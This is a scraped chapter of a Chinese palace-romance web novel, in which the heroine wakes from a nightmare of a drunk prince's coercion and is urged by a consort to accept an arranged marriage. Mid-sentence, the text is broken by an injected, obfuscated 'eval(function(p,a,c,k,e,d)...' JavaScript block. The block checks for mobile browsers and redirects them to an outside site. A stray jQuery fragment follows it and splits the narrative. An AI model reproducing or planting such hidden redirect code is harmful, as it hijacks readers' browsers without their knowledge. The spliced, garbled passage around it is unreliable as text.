寒星里 作品

24. 璇花篇·二十四(第2页)

    “罗氏。”徐鄞低语。

    窗外电闪雷鸣,她紧靠墙壁,肩膀止不住地抖。

    男子上前一步,她便退后一步。

    “怕我?”他站不稳,前后轻晃。

    “你喝多了……”

    徐鄞眯眼摇了下脑袋。

    砰!

    手臂被他大力拉过,脚一绊,身体猛地磕在柜子上。

    “放开!”

    男子未理会怀中人怒斥,越抗拒,越激发他下意识的凶蛮,眼前全是母妃提剑自刎的惨状,血色糊在眸底,浸透在骨子里。

    恨,恨极了罗氏,恨极了皇后,渴望听到苟延残喘的求饶声。

    男子俯身靠近,俞沅之身体颤栗得厉害,她知道早晚逃不过,缓缓闭上双目,酒气喷洒在面颊,耳畔,脖颈,淹没在轰隆声下。

    那夜,是徐鄞从未有过的兴奋,埋在陈旧悲痛中,肆意叫嚣着,破土而出。

    俞沅之真想拿一把刀,刺穿男子心口!

    浑沌之中,她掌心死死攥住,眼泪无拘滑滚,唇瓣也快要被自己咬破了!

    瞬然,一抹凉意,轻柔抚过额发。

    淡淡雪松香钻入鼻腔,让她不由得放松下来。

    是场噩梦。

    随即遁入白茫境地,推开一扇门,眼前尽然空旷原野,鸟语花香。

    当她醒来,热度已渐渐消退。

    俞沅之有点渴,想要去拿桌上茶杯,但手撑在枕塌时,仿佛被什么东西硌了下,抬手瞧见那物件,双眼顿时睁大。

    是阿娘编织的手绳!

    她识得首尾打花结的工艺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224795|165870||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    ,只有阿娘做得出,抹了把眼睛,又拧下左脸,疼得很,这不是梦!

    俞沅之破涕而笑,双手捧着,将红绳捂在胸口,因太过欢喜,险些忘记探究,它为何会出现在宫中……

    “参见淑妃娘娘。”

    门外传来侍女请安声,她一慌,立刻将红绳藏于枕下。

    帘被掀开,淑妃缓步入内,见她要起身问安,疾行至塌边按住肩膀:“好好躺着,病中不必拘礼。”

    俞沅之抿唇道:“多谢娘娘。”

    侍女搬来木椅,扶淑妃落座。

    “就这么两天工夫,人都瘦了一圈,太医今早来禀称有所好转,现下觉得如何?”

    “劳娘娘记挂,民女好多了。”

    淑妃满目心疼,颔首道:“本宫与你颇为投缘,闻听你受寒高热,心里也不踏实。”

    俞沅之小声:“民女得娘娘关怀,是民女的福气。”

    淑妃温柔牵过她的手拍了拍:“俞姑娘,本宫有些话想与你说,但不知是否合时宜。”

    “娘娘请讲。”

    “关于七皇子掌事官一职,本宫与太后娘娘隐晦提起,但太后娘娘的意思是不再有此打算。”

    俞沅之脸色一僵。

    淑妃继续道:“尤其近来,七皇子推宫人下水至其溺毙……”

    “娘娘!”她焦急打断,“事有可疑,民女认为七皇子是无辜的,碍于眼下死无对证,七皇子又曾有过先例,所以才会……”

    “本宫明白。”淑妃深深点头,“本宫明白小七有收敛,不至如此顽劣,应该是意外,可天下人不会明白,更不会相信,你懂吗?”

    俞沅之:“……”

    太后与淑妃似乎都没有调查事件的打算,大家都默认为七皇子所为。

    俞沅之喉咙发涩。

    淑妃叹气:“太后娘娘的意思,是要让七皇子成亲分府,迁出宫中,过个两三年大家便不会再提。”

    “成亲?”她目瞪口呆,“七皇子才多大年纪,怎能成亲呢!”

    “所以,太后娘娘希望能挑选稳妥规矩之人,如妻如姐,好生看管他,只不过殿下纵使金尊玉贵,朝臣女儿也都不愿嫁给个不会说话,又暴虐狂躁之人,若是身份低些的,太后娘娘又担心出什么乱子,有损皇家颜面。”

    俞沅之蹙眉,警惕心起。

    淑妃轻声道:“太后娘娘……看中了你。”

    “娘娘!”

    她本以为太后那句“许给老七”仅为玩笑之谈。

    “本宫也明白,多少会委屈了些。”

    俞沅之摇头:“娘娘恕罪,民女说句僭越之言,民女只将七皇子视为弟弟,绝无非分之想,更何况……”

    她急得身子前倾,额头渗出豆大的汗珠。

    淑妃以帕为其擦汗:“俞姑娘这般不情愿,可是因纷传与六殿下的婚事?”

    俞沅之欲言又止,手摸索到枕下绳结,她不愿嫁给徐鄞是真,也不代表要嫁给七皇子,她并不是木偶,而是有温度亦有心的“人”。

    虽然这话听起来幼稚。

    普天之下莫非王土,掌权者要她活便活,要她死便死,何来自主之权,但她仍想竭力争取,哪怕前路坎坷。

    “娘娘,民女病愈,就向太后娘娘辞行。”她咬唇低头。

    “俞姑娘,虽然小七比不得六殿下风姿俊雅,本宫却以为,相较嫁入六皇子府,你接受安排,日子会更舒坦些。”

    淑妃示意婢女出门守着,压低声音道:“有些隐情你不晓得,六皇子生母谢贵妃与皇后是宿仇,此事说来话长。你眼下是罗家人,六殿下不见得会放下恩怨真心待你。太后娘娘对俞姑娘颇为赏识,她曾与本宫提及,你性虽柔却内在坚韧,面对嘲讽不卑不亢,在同龄人中甚是少见,太后娘娘是喜欢你的,为此不惜破例,为六殿下另择旁人,你应当好好考虑,莫要意气用事。”

    淑妃耐心劝解,字字诚恳。

    “而且……”淑妃轻叹,“出宫与否,又有何用呢,就连皇上,也无法对太后娘娘说个不字,嫁给六皇子未必幸福,不嫁六皇子就要受罗家摆布,你与你娘若想平安过后半辈子,良机再难遇。”

    俞沅之猛地抬头,呼吸微滞。